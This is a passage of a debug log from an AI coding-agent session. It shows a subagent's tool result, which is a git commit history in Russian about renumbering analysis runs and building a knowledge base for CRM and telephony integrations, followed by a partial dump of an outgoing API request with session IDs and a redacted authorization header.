\u0437\u0430\u043d\u044f\u0442 \u0432 main, PR #297)\\n8ccf6ec 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0023 \u2192 RUN-0024 (RUN-0023 \u0437\u0430\u043d\u044f\u0442 \u0432 main) \u2014 issue #277\\n101acbe 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0023 \u2192 RUN-0024 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main, PR #301, \u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c PR #300)\\na79c34b 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0024 \u2192 RUN-0025 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main, PR #300)\\n24e2080 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 997 \u043a\u0430\u043a RUN-0022 (issue #280)\\nf6dcd27 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 58093 \u043a\u0430\u043a RUN-0024 (issue #281)\\n738457a 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0022 \u2192 RUN-0025 (RUN-0022..0024 \u0437\u0430\u043d\u044f\u0442\u044b \u0432 main) \u2014 issue #280\\nfd9fb7f 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c RUN-0024 \u2192 RUN-0026 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 upstream/main)\\nb63da8e 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 994 \u043a\u0430\u043a RUN-0026 (issue #279)\\nfc2aa75 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0015 \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 57204 (issue #282)\\n9e5f5c5 2026-08-21 runs: \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c RUN-0015 \u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e run_type (issue #282)\\ncb29007 2026-08-21 chore: \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043b\u043e\u0433\u0438 CI (ci-logs/)\\n6979106 2026-08-21 fix: \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 validate_issue_123_runs_contract.py \u043f\u043e\u0441\u043b\u0435 \u043c\u0435\u0440\u0436\u0430 (issue #272)\\n5f2374d 2026-08-21 chore: \u0443\u0431\u0440\u0430\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b CI \u0438\u0437 \u0434\u0438\u0444\u0444\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (issue #272)\\nc361a47 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 1007 (RUN-0026) \u2014 \u0424\u0422 \u043d\u0430 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0421\u0434\u0435\u043b\u043a\u0438 \u0432 \u0410\u041c\u041e CRM \u043f\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c\u0443 \u0434\u043e\u0437\u0432\u043e\u043d\u0443\\n2b1c826 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 978 \u043a\u0430\u043a RUN-0027 (issue #284)\\n53f4a34 2026-08-21 runs: \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0447\u0430\u0442\u0430 978 \u0432 inputs/ RUN-0027\\n95824ff 2026-08-21 tools: \u0438\u043d\u043a\u0440\u0435\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u043d\u043d\u0435\u0440 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0441 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (issue #299)\\nc45aef3 2026-08-22 tools: \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u043c\u0435\u0441\u0442\u043e \u0445\u0430\u0440\u0434\u043a\u043e\u0434\u043d\u044b\u0445 \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u0432 (issue #299)\\n7b8bc41 2026-08-22 tools: \u0434\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432 Makefile \u0438 \u0435\u0434\u0438\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430 \u0432 CI (issue #299)\\n9438b67 2026-08-22 tools: \u0443\u0441\u043a\u043e\u0440\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0441\u044b\u043b\u043e\u043a issue #265 (2.7s \u2192 1.4s) \u2014 issue #299\\nf2df4a6 2026-08-22 docs: \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432, tools/README, CONTRIBUTING, CHANGELOG (issue #299)\\nd795f46 2026-08-22 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0025 \u2192 RUN-0028 (\u043d\u043e\u043c\u0435\u0440\u0430 0025-0027 \u0437\u0430\u043d\u044f\u0442\u044b \u0432 main)\\n5e8e026 2026-08-22 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 994 \u0432 RUN-0029 (\u043d\u043e\u043c\u0435\u0440\u0430 0026-0028 \u0437\u0430\u043d\u044f\u0442\u044b \u0432 main)\\ne2e2200 2026-08-22 runs: \u0430\u043a\u0442\u0443\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u0442\u0443 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 runs/README.md\\n7cfde0b 2026-08-22 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c RUN-0026 \u2192 RUN-0029 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 upstream/main)\\n590ebfc 2026-08-22 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c RUN-0029 \u2192 RUN-0016 (\u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440-\u043f\u0440\u043e\u0431\u0435\u043b, \u043d\u0435 \u043a\u043e\u043d\u043a\u0443\u0440\u0438\u0440\u0443\u0435\u0442 \u0441 upstream)\\nd121141 2026-08-22 refactor: \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438\u0437 \u043a\u043e\u0440\u043d\u044f \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u043e\u043c\u0430 ai-governance/ + ai-rules/ (issue #291, RFC #532 \u0425\u0430\u0431\u0430)\\n3643c05 2026-08-22 refactor(structure): \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u043e\u043c\u0430 (issue #291)\\n946e605 2026-08-22 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c 25 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432 \u0447\u0430\u0442\u043e\u0432 \u0438\u0437 issue #309 \u043a\u0430\u043a \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 RUN-0030\u2014RUN-0054\\nae187ca 2026-08-22 kb: \u0438\u0437\u0432\u043b\u0435\u0447\u044c 4 PDF \u0438\u0437 issue #310 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\\nfe5d53a 2026-08-22 kb: \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e \u0444\u0438\u043a\u0441\u0442\u0443\u0440\u0443, \u043e\u0442\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043e\u0442 Git LFS \u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 #310\\nf89d769 2026-08-23 feat(runs): RUN-0055 \u2014 \u043e\u0446\u0435\u043d\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 Utair.Chat \u2194 Mango Office\\n45a2a17 2026-08-25 feat(runs): RUN-0056 \u2014 gap-\u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0447\u0430\u0442\u043e\u0432 HH.ru \u0441 \u041a\u0426 Mango Office\\n8cd3ec0 2026-08-25 feat(kb): #317 \u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0411\u0417 + \u0440\u0435\u0432\u0438\u0437\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b kb/\\nf81562f 2026-08-25 chore(kb): #317 \u2014 \u0443\u0431\u0440\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430 RUN-0056 \u043f\u043e \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\\n729614c 2026-08-25 fix(kb): #317 \u2014 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0430 \u0447\u0430\u043d\u043a\u043e\u0432 \u041a\u0426 \u043f\u043e\u0441\u043b\u0435 \u0441\u043b\u0438\u044f\u043d\u0438\u044f main\\n18c5af0 2026-08-25 chore(kb): #320 \u2014 \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u044b \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0411\u0417\\n9bc13ef 2026-08-25 feat(kb): #320 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 1\u0421, amoCRM, \u0411\u0438\u0442\u0440\u0438\u043a\u044124, BPMSoft, SIP Trunk\\n74262dc 2026-08-25 feat(kb): #320 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u00ab\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430\u00bb v1.26.18\\n1a8841c 2026-08-25 feat(kb): #320 \u2014 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442 \u00ab\u0420\u0435\u0447\u0435\u0432\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb \u0438 \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0439\\n3a47a5b 2026-08-25 docs(kb): #320 \u2014 \u0440\u0435\u0435\u0441\u0442\u0440 \u0411\u0417, \u0440\u0435\u0432\u0438\u0437\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 CHANGELOG\\n116dfe9 2026-08-25 feat(runs): #319 \u2014 RUN-0057, \u043e\u0446\u0435\u043d\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 (\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2116 1\u20134)\\na38eb92 2026-08-25 feat(runs): #319 \u2014 L0 (\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430) \u0438 L4 (\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c)\\n18da75c 2026-08-26 chore: remove PR placeholder .gitkeep (issue #273 already fixed by RUN-0020)\\n437757c 2026-08-26 fix(runs): #273 \u2014 \u0443\u0431\u0440\u0430\u043d \u0434\u0443\u0431\u043b\u044c \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 + \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\\n37bb44a 2026-08-26 feat(templates): #323 \u2014 \u0434\u0432\u0430 Issue Forms \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 runs + \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\\n2f37678 2026-08-26 feat(RUN-0057): #325 \u2014 L0 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0451\u043d \u043d\u0430 \u0448\u0435\u0441\u0442\u044c \u043a\u043e\u043b\u043e\u043d\u043e\u043a \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u043f\u043e \u0442\u0440\u0451\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\\nf5a6f18 2026-08-26 feat(RUN-0058): #329 \u2014 \u043f\u0435\u0440\u0435\u043e\u0446\u0435\u043d\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0447\u0430\u0442\u043e\u0432 HH.ru \u043f\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 API\\n31cd275 2026-08-26 feat(RUN-0059): #331 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0441\u043f\u0430\u0439\u043a \u0438 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u0434\u0430\u043d\u043d\u044b\u0445 HH.ru \u0427\u0430\u0442\u044b \u2194 \u041a\u0426 Mango\\nb0706ad 2026-08-27 feat(RUN-0060): #333 \u2014 \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 gap-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 L4 \u0441\u043e \u0441\u043d\u043e\u0441\u043a\u0430\u043c\u0438\\n32f4bc2 2026-08-28 feat(RUN-0061): #336 \u2014 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 human review \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 twin \u0434\u043b\u044f \u0437\u0430\u0434\u0430\u0447\u0438 1090\\ncdb8db6 2026-08-28 feat(RUN-0060): #335 \u2014 \u0430\u0443\u0434\u0438\u0442 53 \u0441\u043d\u043e\u0441\u043e\u043a \u043e\u0442\u0447\u0451\u0442\u0430 L4 \u0438 \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 human review\\n3f21a08 2026-08-28 docs(analysis): #335 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0441\u0442\u0438 \u0441\u0441\u044b\u043b\u043e\u043a \u0434\u043b\u044f human review\\n03a7627 2026-08-28 fix(analysis): #335 \u2014 \u0443\u0447\u0435\u0441\u0442\u044c \u044f\u043a\u043e\u0440\u044f \u043d\u0430 \u0441\u0435\u043a\u0446\u0438\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0442\u0435\u0433\u0430 \u0432 Redoc\\n0e368fe 2026-08-28 feat(RUN-0060): #335 \u2014 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u043e\u0442\u0447\u0451\u0442\u0430 L4\\n1dcca69 2026-08-28 docs: #335 \u2014 ADR-011 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 RFC \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0437\u0430\u0434\u0430\u0447\\n7369989 2026-08-28 feat: #335 \u2014 \u0432\u0435\u0431-\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0447\u0451\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 765 \u0441 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\\nc4902e0 2026-08-31 Revert \\\"[runs] \u041f\u0440\u043e\u0433\u043e\u043d L0: \u041e\u0446\u0435\u043d\u043a\u0430 3 \u043d\u043e\u0432\u044b\u0445 \u0422\u0417 \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 RUN-0057 \u0441 \u0436\u0435\u0441\u0442\u043a\u0438\u043c\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u043a \u0441\u0441\u044b\u043b\u043a\u0430\u043c\\\"\\n3ce63dd 2026-08-31 Auto-commit: Changes made by Claude during problem-solving session\\n8513fca 2026-08-31 feat(runs): add RUN-0062 appendix assessment\\nc9e2184 2026-08-31 test(runs): define RUN-0063 acceptance contract\\ne338549 2026-08-31 feat(runs): add RUN-0063 requirements for BCREQ-1074\\nae81360 2026-08-31 chore: remove issue branch placeholder\\n54cf5df 2026-08-31 feat(runs): add RUN-0064 report view requirements\\n8851b28 2026-08-31 chore: remove issue branch placeholder\\na6a587d 2026-08-31 feat(runs): add task 1099 feasibility audit\\nacb6c7b 2026-09-01 fix(runs): reassess RUN-0062 and RUN-0065\\n3d46f65 2026-09-01 fix(runs): correct LK citation pages\\ne0f4ba5 2026-09-01 feat(runs): RUN-0066 \u2014 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0422\u0417 task-1099 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0439 LLM\\na661e1b 2026-09-01 feat(validation): verify citation pagination\\n08b47e3 2026-09-01 fix(validation): parse nested citation titles\\n00295d5 2026-09-01 docs(report): add RUN-0065 pagination RCA\\n3f5a86a 2026-09-01 chore(evidence): preserve raw trace whitespace\\n267d0ea 2026-09-01 fix(analysis): harden RCA reproducibility\\n381d0a5 2026-09-01 docs(changelog): clarify issue 353 gates\\n80175d8 2026-09-03 fix(validate): compare citation titles through normalize()\\n3c53cbe 2026-09-03 feat(runs): rework BCREQ-1074 requirements as RUN-0067 per issue #355\\ncbc6276 2026-09-03 chore(#357): \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u043f\u0440\u0438\u043d\u0442\u043e\u0432 \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0425\u0430\u0431\u0430\\ncce374d 2026-09-26 test(kb): reproduce incomplete processed KB migration\\nf64672c 2026-09-26 test(kb): validate historical extraction against pinned runtime\\nc6471da 2026-09-26 chore(kb): remove verified local copy and point to runtime\\n46a7ebe 2026-09-28 feat(runs): RUN-0068 L0 feasibility assessment of BCREQ-1114 (#363)\\ndba7b47 2026-09-28 feat(runs): RUN-0069 L0 feasibility assessment of BCREQ-1114v2 (#365)\",\n[2026-09-29T07:45:47.168Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:47.168Z] [INFO]       }\n[2026-09-29T07:45:47.168Z] [INFO]     ]\n[2026-09-29T07:45:47.168Z] [INFO]   },\n[2026-09-29T07:45:47.168Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:47.168Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:47.168Z] [INFO]   \"uuid\": \"6a0ac563-105e-415a-bea4-d807210292e8\",\n[2026-09-29T07:45:47.168Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:47.155Z\",\n[2026-09-29T07:45:47.168Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:47.168Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:47.168Z] [INFO] }\n[2026-09-29T07:45:47.212Z] [STDOUT] [log_62fc3f] sending request {\n[2026-09-29T07:45:47.224Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:47.233Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:47.242Z] [STDOUT]   options: {\n[2026-09-29T07:45:47.245Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:47.250Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:47.258Z] [STDOUT]     body: {\n[2026-09-29T07:45:47.260Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:47.262Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:47.265Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:47.268Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:47.271Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:47.274Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:47.276Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:47.281Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:47.285Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:47.289Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:47.294Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:47.300Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:47.304Z] [STDOUT]     },\n[2026-09-29T07:45:47.308Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:47.313Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:47.315Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:47.319Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:47.323Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:47.325Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:47.327Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:47.360Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:47.369Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:47.374Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:47.380Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:47.383Z] [STDOUT]     },\n[2026-09-29T07:45:47.399Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:47.402Z] [STDOUT]   },\n[2026-09-29T07:45:47.423Z] [STDOUT]   headers: {\n[2026-09-29T07:45:47.434Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:47.447Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:47.476Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:47.485Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:47.495Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:47.500Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:47.505Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:47.507Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:47.517Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:47.523Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:47.532Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:47.535Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1391\",\n[2026-09-29T07:45:47.542Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:47.546Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:47.548Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:47.551Z] [STDOUT]     \"x-client-request-id\": \"7b7ed0c2-2f07-4899-8b58-309eb52818a0\",\n[2026-09-29T07:45:47.554Z] [STDOUT]     